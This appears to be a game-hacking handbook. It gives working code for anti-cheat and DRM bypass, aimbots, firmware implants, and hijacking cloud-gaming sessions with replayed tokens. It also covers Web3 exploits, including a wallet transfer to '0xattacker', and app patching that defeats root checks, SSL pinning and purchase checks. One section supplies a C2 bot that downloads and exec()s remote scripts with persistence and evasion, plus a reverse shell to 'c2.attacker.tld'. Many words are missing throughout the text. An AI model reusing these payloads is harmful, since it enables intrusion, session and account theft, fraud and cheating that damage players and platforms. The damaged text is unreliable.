  • GPU Malware: CUDA shellcode via cuMemAlloc + cuLaunchKernel
  • Intel ME: Use Red Unlock for code injection

  • DMA via Intel 82599 NIC
  • SGX/SEV Enclaves for protected cheat logic
  • Steganography: Embed payloads in textures/assets

Automate and break games with these tools.

  • Automate with pyMeow / pymem: Script memory edits in Python.
  • Fuzz .sav, .pak, .json, .lua: Use AFL++ / Honggfuzz to crash parsers.
  • Simulate Movement: Send fake input via SendInput or Python libraries.
  • Trace with Frida: Log function calls with custom callbacks.
  • Automate UIs with Selenium: Script web-based interfaces.
  • UDP Packet Fuzzers: Send custom payloads to game servers.
  • Hook Scripting Engines: Monitor Lua / Python calls.
  • Auto-Aim with YOLOv5 + OpenCV: Real-time targeting.

  • YOLOv7 + DeepSORT: Real-time aimbot tracking.

    model = torch.hub.load('ultralytics/yolov5', 'yolov7')
    results = model(frame)
    targets = results.pandas().xyxy[0]  # Extract enemy bounding boxes
  • Reinforcement Learning: Train agents with Unity ML-Agents or OpenAI Gym.


  • Coverage-Guided Fuzzers: AFL++ with QEMU mode for binary-only games.
  • Custom Mutators: Build fuzzers for Protobuf or proprietary structures.

protections with these advanced techniques.

  • Bypass Denuvo: Dump memory mid-run with x64dbg.
  • Locate OEP: Trace back to original entry point.
  • Rebuild PEs: Use Scylla / PE-bear to fix dumped binaries.
  • Decryption Loops: Remove XOR routines from loaders.
  • Disable CRC Checks: integrity verification.
  • Locate License Checks: Cross-reference key strings in IDA.
  • Inject at Handoff: Hook stub-decryption transitions.
  • Devirtualize: Unpack VMProtect / Themida.
  • Hook NtOpenFile: Intercept license queries via Frida.

  • Memory Dumping: Use ScyllaHide to evade debugger checks and dump decrypted .text sections.
  • Emulation: Reconstruct VM handlers using Qiling Framework.

  • VMProtect 3.x Unpacking: Decode x86 opcodes with Triton.
  • ASLR Bypasses: static memory for reliable exploitation.

Craft stealthy payloads with these methods.

  • ESP Overlays: Execute via render function hooks.
  • Polymorphic XOR: Compress/obfuscate shellcode payloads.
  • Overflow Triggers: Inject via savegame or file parsers.
  • Config-File Loading: Store payloads externally.
  • OCR-Based ESP: Use screen capture + OpenCV, no injection.
  • Heap Spray: Execute through Lua / JS scripting engines.
  • Alphanumeric Payloads: For character-restricted exploits.
  • TLS Callbacks: Run before main() in PE headers.
  • Custom Syscalls: Avoid usermode detection.

  • SELF: Staged ELF Loader with LZMA compression and mprotect stub.
  • Thread Hijacking:
    NtSuspendThread(hThread);
    WriteProcessMemory(...); // overwrite RIP
  • ROP Bootstrapping: Launch shellcode via gadgets.

Modern DRM systems deploy multi-stage loaders, packing and obfuscating payloads using VM-based encryption, anti-debugging logic, and staged virtual machine handlers. Breaking through these layers is essential for:

  • Restoring clean .text sections
  • Analyzing game logic behind anti-tamper wrappers
  • Reconstructing protected functions for cheat injection
  • Defeating signature checks and telemetry sinks
ConceptDescription
Loader stagingMultiple layers of unpacking: stub → loader → VM
VirtualizationCode translated into custom bytecode and interpreted
Mutation enginesObfuscate instructions and flow via polymorphism
Anti-dumpPrevent dumping memory with CRCs, active page clearing
Loader chain detectionUncover multi-executable chains embedded in final binary
  • High entropy in .text, .vmp0, or .code → indicates encryption
  • Stub code at OEP (original entry point) → jmp short _loadnext
  • Long sleep / timing checks → anti-debug

Use:

binwalk --entropy binary.exe

Tools: PEiD / Detect It Easy

Staged loaders often call:

CALL DecryptAndExecute
JMP EAX

Trace VirtualAlloc → memcpy → CreateThread or jmp rax

Watch for:

  • NtProtectVirtualMemory with RWX permissions
  • memcpy into a shell region
  • Encrypted VM blob → then mapped and run

Place breakpoints:

bp kernel32!VirtualAlloc
bp kernel32!CreateThread

Then dump memory once second-stage loader appears.

StagePurpose
Stage 0PE stub (launches decryptor)
Stage 1Loader stub (decrypts VM blob)
Stage 2Encrypted VM bytecode in .vmp0
Stage 3Custom VM interprets protected funcs

Signs of VMProtect:

  • .vmp0, .vmp1, .vmp2 sections
  • MOV EAX, VM_OPCODE_TABLE
  • High-entropy embedded dis loop

Tools: VMPDump, x64dbg + Scylla + VMProtectTrace

Dis logic:

movzx eax, byte ptr [ecx]    ; opcode fetch
call [OpcodeHandler + eax*4] ; handler dis

Use Unicorn engine:

mu.mem_write(vm_addr, vm_code)
mu.emu_start(vm_addr, vm_addr + len(vm_code))
  • Multiple compressed regions (LZ4, LZO, LZSS)
  • XOR-encrypted memory blocks
  • Anti-VM or anti-dump logic

Use: Scylla, PE-sieve, Cheat Engine

Defense MechanismBypass Technique
Hardware breakpoint checkIsDebuggerPresent, NtQueryInfoProcess
CRC32 page checkCRC logic with RET or NOPs
Page clearing on dumpDump post-RWX and force page copy
VEH-based obfuscationRemove AddVectoredHandler entries

Tools: ScyllaHide, TitanHide, PE-sieve

import frida

def on_message(msg, data):
    if msg["type"] == "send":
        print("[*]", msg["payload"])

session = frida.attach("target.exe")

script = session.create_script("""
Interceptor.attach(Module.getExportByName(null, "VirtualAlloc"), {
  onLeave: function (retval) {
    send("Alloc at: " + retval);
  }
});
""")
script.on('message', on_message)
script.load()
  • .text0 → Loader stub
  • .text1 → Encrypted ELF or PE blob
  • .bind, .elfhash, .denuvo sections

Reverse:

  • Hook NtQueryVirtualMemory, NtReadVirtualMemory
  • Look for RDTSC anti-debug timings
  • Use Cheat Engine Snapshot Compare
Loader StageSignature / APIDescription
Stub loaderjmp [rax], entropyEntry obfuscator
Memory decryptorRtlDecompressBuffer, VirtualProtectPayload unpacker
VM disermov al, [ecx], call [eax*4]Custom VM handler switch
Anti-debugRDTSC, CPUID, int 3Timing + breakpoint checks

Use LIEF to:

  • Modify PE headers, section alignments
  • entry point or stub region

Combine with AFL++ to fuzz staged binaries.

ToolPurpose
x64dbg + ScyllaManual unpack, IAT fix
PE-sieveDetect memory-mapped unpacked modules
VMProtectDumpDump runtime-decrypted VM code
TitanHideHide debugger from anti-debug checks
IDA Pro + HexRaysAdvanced disasm and pseudocode
LIEFProgrammatic PE ing

Leverage AI for next-gen cheat capabilities.

  • YOLOv5 / Faster-RCNN: Train pixel-perfect aimbots.
  • OpenCV Color Analysis: Track HP bars, enemies, alerts.
  • RL Bots: Intelligent evasion via OpenAI Gym.
  • LSTM: Predict patrol paths or enemy movements.
  • Neural ESP: Use segmentation models for wallhacks.
  • Anti-Cheat Popup Detection: OCR + reaction system.
  • Decision Trees: Prioritize high-value loot.
  • Movement Analysis: Detect bot players.

  • StyleGAN3: Generate neural textures for ESP.
  • LSTM: Predict movements from input logs.

  • GAN Fine-Tuning: Spoof UI or texture assets.
  • Edge AI: Deploy to microcontrollers for field-ready inference.

Exploit physical devices for undetectable cheats.

  • Arduino HID Spoofers: Simulate human-like input.
  • PCILeech DMA: Inject RAM via hardware.
  • USB-to-UART: Access devkit consoles.
  • Logic Analyzers: Monitor AC behavior.
  • Raspberry Pi Deauth: Disrupt online sync via WiFi attacks.
  • Teensy Input Simulators: Randomized macros.
  • HDMI Capture Aimbots: External targeting.
  • QMK Keyboard Logic: Reflash firmware with custom logic.
  • BIOS ing: UEFI driver loading pre-boot.

This section focuses on hacking, reverse engineering, and modifying console and PC firmware — the bedrock of trust for most anti-cheat and platform security systems.

From BIOS/UEFI to hypervisors and bootloaders, firmware manipulation allows for:

  • Undetectable cheats via early boot injection
  • Bypassing secure boot, signature validation, and TPM/TrustZone
  • Full control over memory, virtualization, and root-level telemetry

Modern PCs boot via UEFI (Unified Extensible Firmware Interface), replacing legacy BIOS. UEFI is programmable and includes DXE modules that enforce secure boot and TPM communication.

PurposeTool
Firmware extractionUEFITool, Chipsec, Flashrom
Modding UEFI varsRU.EFI, AMIBCP, H2OUVE
Secure boot bypassUEFI Shell, EDK2 hacking
Flash dumpingCH341A SPI Programmer
flashrom -p ch341a_spi -r dump.bin

Or from inside Linux:

sudo chipsec_util spi dump BIOS.bin
UEFIExtract dump.bin
UEFIDump dump.bin

Look for: SecureBoot, SetupUtility, TPM, SmmAccess2, AmiBoardInfo, RuntimeServices, SmmRuntime

  • Add unsigned DXE modules
  • Hook BootServices->StartImage
  • Inject payload that writes to RAM after ExitBootServices()
  • Modify UEFI .ffs file
  • Insert using UEFITool
  • Flash ed ROM

Payload triggers at early boot phase (pre-OS)

  • Boot ROM: Boot0, Boot1, pkg1, pkg2
  • Vulnerabilities: Fusée Gelée, Warmboot Handoff

Tools: hekate, Lockpick_RCM, Atmosphere, TegraExplorer, HacTool

  • Boot chain: BootROM, Second Loader, Secure Kernel
  • Protections: TrustZone, LV0/LV1 encryption, OTP

Tools: ps5-kstuff, IDA, Ghidra, Unicorn, UART taps

  • Hyper-V root partition
  • Secure Boot + Dev Mode

Tools: QEMU, HVMSR intercepts

  • LV0: Boot loader binary
  • LV1: Hypervisor kernel
  • LV2: GameOS

Target: syscall registration

Tools: Mamba, ps3xploit, Hypervisor Call Trace

LayerTargetAttack Vector
UEFIDXE modulesboot services
Nintendopkg1, loader.kip1ROP injection
PS5BootROMEL3 key handler
Xboxhvlaunch.xexHypercall ing
PS3LV0 / LV1Homebrew syscall ing
ToolUse Case
UEFIToolExtract/ DXE modules
ChipsecAnalyze SPI/SMM
FlashromDump ROM via SPI
IDA, GhidraBoot ROM reverse engineering
UnicornARM64 emulation
QilingFirmware sandboxing
ProtectionBypass Strategy
Secure BootSetupUtility
OTP Key FuseEmulated OTP
TrustZoneEL3 handler
Dev ModeUEFI var
  • Memory ers before anti-cheat
  • CR3 spoofers
  • Kernel-mode syscall filters

  • PlayStation 5: WebKit ROP exploit (e.g., CVE-2021-30858).
  • Nintendo Switch: Coldboot exploit Fusée Gelée via USB-C.

  • Raspberry Pi Pico: Emulate Xbox controller with GPIO triggers.
  • FPGA Packet Injection: Xilinx Artix-7 for spoofing.
  • JTAG: Soldered access to CPU internals.

Use tools like PS Remote Play, Xbox App, or Chiaki to automate console gameplay from a PC:

  • Capture gameplay with OpenCV or YOLOv7
  • Detect resources, enemies, UI elements
  • Inject input via HID emulators (Arduino Leonardo, Teensy)
  • Automate loops: mining, fishing, looting
  • Emulate human-like behavior via randomization and delays

This setup works fully externally, ideal for undetectable console farming bots.

   ┌───────────────┐       ┌────────────────────┐      ┌───────────────┐
   │ PlayStation 5 │──────▶│ PS Remote Play App │─────▶│ Screen Capt.  │
   └───────────────┘       └────────────────────┘      │ + CV Detector │
                                                       └────┬──────────┘
                                                            │
                                                     ┌──────▼───────┐
                                                     │ HID Emulator │  (Arduino/Teensy)
                                                     └──────────────┘

Use:

  • PlayStation Remote Play (PS4/PS5)
  • Xbox Console Companion / Remote Play
  • Moonlight + Sunshine (NVIDIA Gamestream-based)
  • Chiaki (open-source, reverse-engineered PS Remote Play)

Best Option for Automation: Chiaki + OBS + Teensy


Use OpenCV or YOLOv5/YOLOv7 to identify:

  • Health bars
  • Enemies
  • Resource nodes
  • Map location

Example: Mining Bot Detection

import cv2
import numpy as np

node_template = cv2.imread("ore_node.png", 0)
frame = cv2.imread("screen.png", 0)
res = cv2.matchTemplate(frame, node_template, cv2.TM_CCOEFF_NORMED)
loc = np.where(res >= 0.92)

for pt in zip(*loc[::-1]):
    print("Node at:", pt)
    move_cursor_to(pt)
    send_button_press("X")

Use Arduino Leonardo, Teensy 4.0, or Raspberry Pi Pico (RP2040):

  • Emulate Xbox or PS5 controller
  • Send joystick moves, button presses
  • Fake human input with jitter/randomization

Example: Arduino Joystick Movement Script

#include <Joystick.h>
Joystick_ Joystick;

void setup() {
  Joystick.begin();
}

void loop() {
  Joystick.setYAxis(100); // Move forward
  delay(500);
  Joystick.setYAxis(0);   // Stop
  delay(1000);
}

If using PS Remote Play on Android:

  • Use AutoInput + Tasker
  • Use ADB + scrcpy + Python

Example: Tap Resource with ADB

adb shell input tap 540 1320

  • Record a resource route ( to PC)
  • Detect resource spawn points with template matching or YOLO
  • Move character with joystick HID script
  • Pause until node appears
  • Interact when node is detected (X button press via Teensy)
  • Repeat loop with randomized sleep and camera wiggle

This works 100% externally. No modding, no memory hooks.


# Automates node detection + input for Remote Play ESO bot

from PIL import ImageGrab
import cv2, numpy as np
import serial, time

ser = serial.Serial('COM3', 9600)  # Teensy/Arduino COM port

def find_node(template):
    frame = np.array(ImageGrab.grab())
    gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
    tmpl = cv2.imread(template, 0)
    result = cv2.matchTemplate(gray, tmpl, cv2.TM_CCOEFF_NORMED)
    loc = np.where(result >= 0.95)
    return list(zip(*loc[::-1]))

def send_input():
    ser.write(b'X\n')  # Arduino interprets and presses X button
    time.sleep(1)

while True:
    hits = find_node("ore_template.png")
    if hits:
        print("[+] Resource found:", hits[0])
        send_input()
    time.sleep(2)

Cloud gaming platforms (e.g., GeForce NOW, Xbox Cloud, Amazon Luna, Stadia) shift game execution to the cloud, introducing network-based attack surfaces previously unavailable in traditional game hacking. In this section, we focus on exploiting latency, session logic, and cloud APIs for unauthorized access and disruption.


Target AreaAttack VectorGoals
Network ↔ StreamLatency injection, packet reorderingDesync, timing abuse
Session Token / AuthHijack or reuse active sessionTake over session or identity
API Gateway / InfraReverse-engineer APIsAbuse resources, extract games
UI OverlaysJavaScript / WebRTC manipulationXSS, UI injection, fake input

Cloud gaming relies on low-latency video and responsive inputs. Injecting controlled network jitter, delay, or packet reordering can desynchronize gameplay or force input failures.

  • tc (Linux traffic control)
  • netem (network emulator)
  • clumsy (Windows packet drop/lag tool)
  • Wireshark or tcpdump for packet inspection
  • VPNs with adjustable RTT (e.g., Mullvad + Socks5 proxy)

Linux (NetEm + tc):

sudo tc qdisc add dev eth0 root netem delay 300ms 50ms distribution normal

Windows (Clumsy):

clumsy.exe --lag 250 --drop 3%
Target GameExploit Effect
Fortnite (xCloud)Desync builds and shots
Apex (GeForce)Lag-switch to eat bullets
ESO / MMOsSkip animation cancels / avoid interrupts

Scripted lag control based on game state:

# lagbot.py
import os, time

while True:
    os.system("tc qdisc change dev eth0 root netem delay 300ms 100ms")
    time.sleep(3)
    os.system("tc qdisc change dev eth0 root netem delay 0ms")
    time.sleep(2)

Cloud gaming platforms maintain browser-based or WebSocket-based session tokens for game stream authentication.

MethodAttackNotes
Cookie/session stealReplay tokenUse mitmproxy or JS hook
WebSocket hijackInject into live controlRequires token & WS URL
API endpoint abuseReplay startSession() callSeen in Stadia / Luna

Extract WebSocket Token:

wss://cloudplay.geforce.com/session?id=abcd1234&token=XYZ

Craft Python Client:

import websocket
ws = websocket.create_connection("wss://cloudplay.geforce.com/session?id=abcd1234&token=XYZ")
ws.send('{"action":"move","direction":"left"}')

Replay startSession API Call:

POST /api/v1/startSession
Authorization: Bearer <token>
  • Stadia DevKit s via launchTitle()
  • GeForce NOW API token replay
  • Moonlight/Sunshine weak token auth

  • mitmproxy
  • Burp Suite
  • chrome://net-export
  • DevTools → Network tab
Java.perform(function() {
  var SSLContext = Java.use("javax.net.ssl.SSLContext");
  SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(k, t, r) {
    console.log("[*] Bypassing SSL Pinning");
    this.init.call(this, k, [MyTrustManager.$new()], r);
  };
});
PlatformEndpointPotential Abuse
Stadia/startSession, /loadTitleReplay past sessions
GeForce NOW/streams, /auth/v2Spoof device or obtain stream
Xbox Cloud/xgpu/allocateSessionDoS resource exhaustion

TechniqueDescriptionMitigation
VPN rotationEvade geo locks, rate limitsSOCKS5 + IPv6
Modify browser headersImpersonate session/clientOverride User-Agent, device ID
Replay old sessionsUse expired but cached tokensExploit poor session invalidation
Scripted idle mousePrevent timeoutJS or browser automation

  • Spoof GeForce NOW session to capture streamed flags
  • Denial of Service on PvP cloud opponents via lag
  • Enumerate enterprise cloud gaming APIs
  • Phish or hijack stream tokens and inject overlays

Virtual and Augmented Reality (VR/AR) introduce new attack vectors—spatial spoofing, sensor manipulation, and gesture abuse—distinct from traditional game hacking.

SDK / PlatformDescriptionAttack Surface
OpenVR / VRValve’s open VR runtimePose injection, device spoofing
Oculus SDKMeta’s VR ecosystemGesture hacks, pose spoofing
Unity XRUnity’s VR abstractionMemory manipulation
ARKit / ARCoreiOS/Android AR frameworksSensor spoofing

Manipulate 6DoF (degrees of freedom) tracking to teleport, walk through walls, or gain speed boosts.

// PlayerTransform.cs (decompiled)
void Update() {
  transform.position = new Vector3(x, y, z); // Injected coords
}

Inject with Frida:

var transform = Mono.use("UnityEngine.Transform");
transform.position.value = {x:999, y:5, z:-20};
vr::TrackedDevicePose_t spoofedPose;
spoofedPose.mDeviceToAbsoluteTracking = ...; // Injected matrix
VRCompositor()->SubmitPose(...);

Modify gesture recognition logic for:

  • Auto-swing in Beat Saber
  • Infinite grab reach in Half-Life: Alyx
  • Aimbot-style teleporting in Onward VR
Interceptor.attach(Module.findExportByName("OculusVR.dll", "GetControllerPose"), {
  onLeave(retval) {
    retval.x = 999;
    retval.y = 999;
    retval.z = 999;
  }
});

Send fake GPS, compass, or accelerometer data to mobile AR games like Pokémon GO.

Java.perform(function() {
  var Sensor = Java.use("android.hardware.SensorManager");
  Sensor.getOrientation.implementation = function(...) {
    return [999, 999, 999];
  };
});
TacticResult
Spoof OpenVR poseAppear in unreachable game area
Gesture overrideInstant win input
AR location spoofGain location-limited loot/events
Hook Unity XRManagerForce map load / room bypass

Blockchain-integrated games introduce new attack surfaces—smart contracts, token logic, and crypto wallets.

LayerAttack Type
Smart ContractsLogic flaws, state overwrite
Off-chain LogicDesync between client/server
Wallet IntegrationSpoof signatures or misroute funds
Game EconomyPrice oracle abuse, arbitrage
function mintWeapon() public {
  weaponBalance[msg.sender] += 1;
}

Exploit via Web3.py:

from web3 import Web3
w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
contract = w3.eth.contract(address='0x...', abi=abi)
contract.functions.mintWeapon().transact({'from': attacker})

Replay Attack Exploit:

POST /api/v1/claimDrop
Authorization: Bearer XYZ

for token in $(cat tokens.txt); do
  curl -X POST https://game/api/v1/claimDrop -H "Authorization: Bearer $token"
done

Price Oracle Exploit

  • Launch flash loan
  • Manipulate ETH/USD temporarily
  • Buy items at incorrect valuation
ethereum.request({
  method: 'eth_sendTransaction',
  params: [{
    to: '0xattacker',
    value: '0xFFFFFFFFFFFFFFF',
    gas: 21000
  }]
});
ExploitEffect
Duplicate NFTUnlimited rare item cloning
Unauthorized mintCreate ultra-powerful weapons
Currency abuseInflate gold/tokens
API replayLoot claim replays
VectorMitigation
Smart ContractUse onlyOwner / require() checks
NFT APIsUse nonce or anti-replay tokens
Unity WalletsValidate signature + timestamp
OraclesUse median + TWAP, not single source

Zero-Knowledge Proofs (ZKPs) — especially zk-SNARKs and zk-STARKs — are now used in Web3 games to verify game logic, moves, and state transitions without revealing the underlying data. This section breaks down how they work, how to identify them in use, and how attackers may abuse or bypass them.

ConceptDescription
zk-SNARKZero-Knowledge Succinct Non-Interactive Argument of Knowledge
zk-STARKScalable Transparent Argument of Knowledge (STARK = no trusted setup)
PurposeAllows a party to prove knowledge of a state or computation without revealing it
Use in gamesVerifying game actions, scores, or resources off-chain then committing proof on-chain
Use Casezk PurposeExample
PvP move verificationEnsure actions are valid without revealing tacticsPrivate turn in a card battle game
Anti-cheat verificationEnsure a player followed physics/move ruleszk-proof of path validity in racing
RNG proofsEnsure fair randomizationzk-RNG proof of loot roll
Score submissionPrevent falsified high scoreszk-proof of valid gameplay + result
Asset creationGuarantee valid NFT mintingzk-proof of crafting or merging

Smart contracts referencing verifier contracts (often generated via ZoKrates, Circom, or Cairo)

Solidity functions like:

function verifyProof(...) public view returns (bool)

Contracts using libraries like:

  • Verifier.sol (ZoKrates)
  • Plonk.sol, Groth16.sol
  • STARKVerifier.sol (Starkware)

Run:

myth analyze contract.sol
slither verifyProof --detect-constant-function

Web3 game clients (JavaScript/TypeScript) loading .zkey, .wasm, or .proof.json files.

Use of:

import { groth16 } from "snarkjs"
groth16.fullProve(input, wasmPath, zkeyPath)

Proof payload sent via HTTP to /submitScore or /submitProof

Game Flow (Simplified):

  1. Player finishes game
  2. Client generates zk-proof locally
  3. Sends proof to smart contract
  4. Contract verifies proof before recording score

Verifier Snippet (Solidity):

function submitScore(bytes memory proof, uint[] memory publicSignals) public {
    require(verifier.verifyProof(proof, publicSignals), "Invalid proof");
    scores[msg.sender] = publicSignals[0];
}
ComponentRole
CircuitDescribes logic to be proven (e.g., game score validity)
ProverGenerates proof from private + public inputs
VerifierChecks the proof’s validity using public input
Trusted SetupGenerates cryptographic keys for prover/verifier

If proofs are generated client-side, reverse-engineer WASM or zkey logic.

// Normally
await groth16.fullProve(validInput, "circuit.wasm", "key.zkey")
// Maliciously
await groth16.fullProve(modifiedInput, "tampered_circuit.wasm", "forged_key.zkey")

Example:

signal input score;
signal input cheatCode;
signal output isValid;

isValid <== cheatCode * 0 + score == expectedScore;  // 💥 flawed logic

Reused public inputs (e.g., static RNG seed) → replayable proof.
Fix: Include session ID, player address, or nonce in public signals.

Look for unsafe delegatecall, dynamic verifier contracts.

Run:

mythril --solc-args --ast-compact-json target.sol
Featurezk-SNARKzk-STARK
Trusted Setup✅ Required❌ No trusted setup
Proof SizeSmall (100s B)Large (~100 KB)
VerificationFastSlower
ToolingZoKrates, CircomCairo, Starknet
Use in GamesCard games, RNG, scoresHigh-complexity logic (PvP, path)
ToolUse Case
ZoKrateszk-SNARK circuit definition and proof generation
CircomWrite custom proof circuits (used by TornadoCash)
snarkjsGenerate proofs in JS for web-based zk clients
Cairozk-STARK language (used in Starknet)
NoirAztec’s Rust-based zk circuit DSL
zkrepl.devLive REPL for zk circuits
ThreatMitigation
Proof tamperingVerify full public input hash on-chain
Replay proofAdd per-session randomness or block height
Weak constraintsAudits + formal circuit verification tools
Contract substitutionAvoid delegatecall, verify codehash
  • zk-SNARKs & zk-STARKs are used to verify private player actions or game logic without revealing secrets

  • Attack surface lies in client-side proof generation, weak constraints, replayability, and contract architecture

  • Understanding zk circuits is essential for next-gen exploit and audit work in Web3 games


Simulating advanced adversary tradecraft in bot management and control using command-and-control (C2) infrastructure. While these techniques resemble malware TTPs, they are crucial for Red Team operations and security research.


Use CaseImplementationRed Team Equivalent
Modify farming routeFetch new waypoints from C2 serverStager / pull-based beacon
Change logic remotelyLoad new scripts/DLLs over HTTPCobalt Strike artifact exec
Trigger bot actionsPolling or webhook triggerHTTP reverse beacon
Persist config after rebootStore in %APPDATA%, ADS, Task SchedulerRAT-style persistence
Send loot logs/telemetryDiscord/TG webhook or POST exfilCovert exfiltration

# C2Bot.py
# Pulls config from remote C2, loads logic, and executes

import requests
import time
import ctypes

CONFIG_URL = "https://yourdomain.com/config.json"

def fetch_config():
    try:
        res = requests.get(CONFIG_URL, timeout=5)
        if res.status_code == 200:
            return res.json()
    except Exception as e:
        print("[-] Failed to fetch config:", e)
    return {}

def load_and_exec(payload_url):
    try:
        script = requests.get(payload_url, timeout=5).text
        exec(script, globals())
    except Exception as e:
        print("[-] Failed to load payload:", e)

if __name__ == "__main__":
    while True:
        cfg = fetch_config()
        if "payload" in cfg:
            print("[+] Loading payload from:", cfg["payload"])
            load_and_exec(cfg["payload"])
        time.sleep(cfg.get("interval", 60))

{
  "payload": "https://yourdomain.com/logic/minerbot.py",
  "interval": 60,
  "trigger": "enabled"
}
  • payload: remote script or logic
  • interval: polling frequency
  • trigger: activation flag

  • Hot-Swap Logic:

    import importlib
    # or use exec() for dynamic logic reload
  • XOR-Encoded Payloads:

    def decode_payload(x):
        return ''.join(chr(ord(c) ^ 0x55) for c in x)
    
    script = decode_payload(requests.get(url).text)
    exec(script)
  • C2 Over Webhooks:

    import requests
    
    def report(event):
        requests.post("https://discord.com/api/webhooks/...", json={
            "username": "BotStatus",
            "content": f"[+] {event}"
        })
    
    report("Bot started.")

TechniquePurposeSample Code
String obfuscationAvoid static scans''.join([chr(x) for x in [...]])
Runtime decryptionDelay detectionXOR/RC4 encoded payload
Sleep jitteringBehavioral stealthtime.sleep(random.randint(...))
raw URL hostingPublic payload deliveryraw.usercontent.com/...

PlatformMethodDescription
WindowsRegistry Run keyAuto-start on boot
WindowsTask SchedulerSurvives reboot
Linux.bashrc, systemdRe-exec on login
All%APPDATA%, .cacheHidden dir deployment

Use these bots to:

  • Study network forensics of C2 systems
  • Test SIEM and EDR detection
  • Train defenders with bot orchestration demos
  • Deploy honeypot bots to observe anti-cheat behavior

RiskMitigation
Payload host flaggedRotate repos / use custom domain
Static URL/IP flaggedCloudflare or dynamic DNS
exec() payload analysisPyInstaller or logic obfuscation
Webhook fingerprintingBurner Discord/TG bots

import socket
import subprocess

HOST = 'c2.attacker.tld'
PORT = 8080

while True:
    try:
        with socket.socket() as s:
            s.connect((HOST, PORT))
            while True:
                cmd = s.recv(1024).decode()
                if cmd.lower() == "exit": break
                out = subprocess.getoutput(cmd)
                s.send(out.encode())
    except Exception as e:
        time.sleep(60)

Enable repeatable, map-accurate automation for farming, mining, and patrols.


  • Memory-mapped or screen-based path recording & replay
  • Navigation scripting (waypoints, turning angles, XYZ control)
  • Collision & stuck detection logic
  • Persistence across sessions (auto relog/reconnect)
  • OCR- or memory-based inventory/tool status
  • Timer syncing with in-game events or zones

import keyboard
coords = []

while True:
    if keyboard.is_pressed('F9'):
        x, y, z = read_coords_from_memory()
        coords.append((x, y, z))
        print("Waypoint:", x, y, z)
    if keyboard.is_pressed('F10'):
        replay_path(coords)

  • Screen pixel check: glowing resource nodes
  • Hook TryUseSkill() or Interact() calls in Unity/Lua/MMOs
  • Use OCR for cooldown or durability checks
void TryUseSkill(SkillSlot slot) {
  if (slot.ready && target.distance < range)
    slot.Activate();
}

  • Time-based patrols or event triggers (Dolmens, invasions)
  • Detect zone transitions, NPC dialogue, or time-of-day
  • Hook ScheduleNextEvent() or use time.sleep() delay logic

  • Template Matching Example:
matches = cv2.matchTemplate(screen, template, cv2.TM_CCOEFF_NORMED)
  • YOLOv7 Real-Time Inference:
results = model(screen)
if results.pandas().xyxy[0]:
    act()

  • Slight delay randomization
  • Offset each run’s path slightly
  • Pause loops randomly
  • Rotate server/logins

Explore the offensive security techniques and reverse engineering approaches used to dissect, modify, and automate mobile games. This section covers app decompilation, runtime instrumentation, anti-cheat bypassing, and automation using modern tools like Frida, Magisk, APKTool, and more.

Primary focus: Android (APK) and iOS (IPA) game hacking for educational, red teaming, and CTF purposes only.


PlatformTechniqueTools
AndroidAPK reverse engineeringAPKTool, jadx, Ghidra
AndroidRuntime hookingFrida, Magisk, ptrace
iOSJailbreak + class dumpingFrida, Hopper, LLDB
AllInput automation & botsAutoTouch, ADB, Appium
AllAnti-cheat bypassingRoot/Jailbreak detection evasion

Tools Required

  • apktool
  • jadx
  • Java Decompiler
  • dex2jar

Workflow

apktool d mygame.apk -o mygame_dec/
jadx mygame.apk  # GUI decompiler

Explore smali/ files or Java classes:

Look for onPurchase(), checkGold(), inventoryManager, etc.

logic like:

invoke-static {v0}, Lcom/game/store/CheckPurchase;->isAllowed()Z
move-result v1
if-eqz v1, :original_code

const/4 v1, 0x1   # Always allow

APK logic via smali edits:

.method public isRooted()Z
    .registers 2
    const/4 v0, 0x0  # Force "not rooted"
    return v0
.end method

Rebuild & resign:

apktool b mygame_dec/ -o modded.apk
jarsigner -keystore my-release-key.keystore modded.apk alias_name
adb install -r modded.apk

  • Rooted or Magisk-enabled phone
  • Install frida-server matching phone architecture

Push and run:

adb push frida-server /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server && ./data/local/tmp/frida-server &"

On host:

frida -U -n com.example.game

Java.perform(function() {
    var GameUtils = Java.use("com.example.game.CurrencyManager");
    GameUtils.getCoins.implementation = function() {
        console.log("[+] Hooked getCoins!");
        return 999999;
    };
});

Hot reloadable without repackaging the APK.


  • Jailbreak device with Checkra1n or TrollStore-compatible firmware
  • Install frida via Cydia or Sileo

Attach to process:

frida -U -n MyGame

Hook Objective-C methods:

ObjC.schedule(ObjC.mainQueue, function() {
    var cls = ObjC.classes.InAppPurchaseManager;
    var sel = 'checkTransaction:';
    Interceptor.attach(cls[sel].implementation, {
        onEnter: function(args) {
            console.log("[*] Intercepted in-app purchase:", ObjC.Object(args[2]));
        }
    });
});

Common detection flags:

  • Build.TAGS contains test-keys
  • su binary in /system/bin/
  • Magisk modules
  • Access to frida-server

Frida Hook Example: Disable Root Checks

Java.perform(function () {
    var RootCheck = Java.use("com.example.anticheat.Checks");
    RootCheck.isDeviceRooted.implementation = function () {
        return false;
    };
});

Magisk Hide + Zygisk Modules

  • Use MagiskHidePropsConf to spoof build fingerprint
  • Use Zygisk + Shamiko to hide root from Zygote-initialized apps

Typical Checks:

  • fileExistsAtPath("/Applications/Cydia.app")
  • canOpenURL("cydia://")
  • fork(), getppid(), sysctl

Frida Hook (iOS)

Interceptor.attach(Module.findExportByName(null, "stat"), {
  onEnter(args) {
    var path = Memory.readUtf8String(args[0]);
    if (path.indexOf("Cydia") !== -1) {
      Memory.writeUtf8String(args[0], "/fakepath");
    }
  }
});

Tools:

  • ADB + scrcpy + Python
  • AutoInput + Tasker
  • MonkeyRunner
  • uiautomator

Example: Tap Resource Nodes with Python + ADB

import os, time
while True:
    os.system("adb shell input tap 540 1200")
    time.sleep(1.5)

Tools:

  • AutoTouch / TouchRecorder
  • XCUITest (requires dev access)
  • lldb input spoofing

TechniqueDescriptionPlatform
Inline Native HookingHook libil2cpp.so, libunity.soAndroid
Class DumpingDump all classes from ObjC runtimeiOS
In-Memory DataUse Frida.Memory.write*() for RAM editsAll
Runtime Memory ScanningUse Frida to find health/coin varsAndroid
Emulator Bypassro.hardware and sensorsAndroid

Detection TypeEvasion Technique
Magisk detectionUse Zygisk + Shamiko
Root binariesRename su, hide mounts
Debugger attachptrace() via Frida
Frida detectionRename frida-server, symbol calls
Jailbreak (iOS)Use libhooker, fileExistsAtPath()

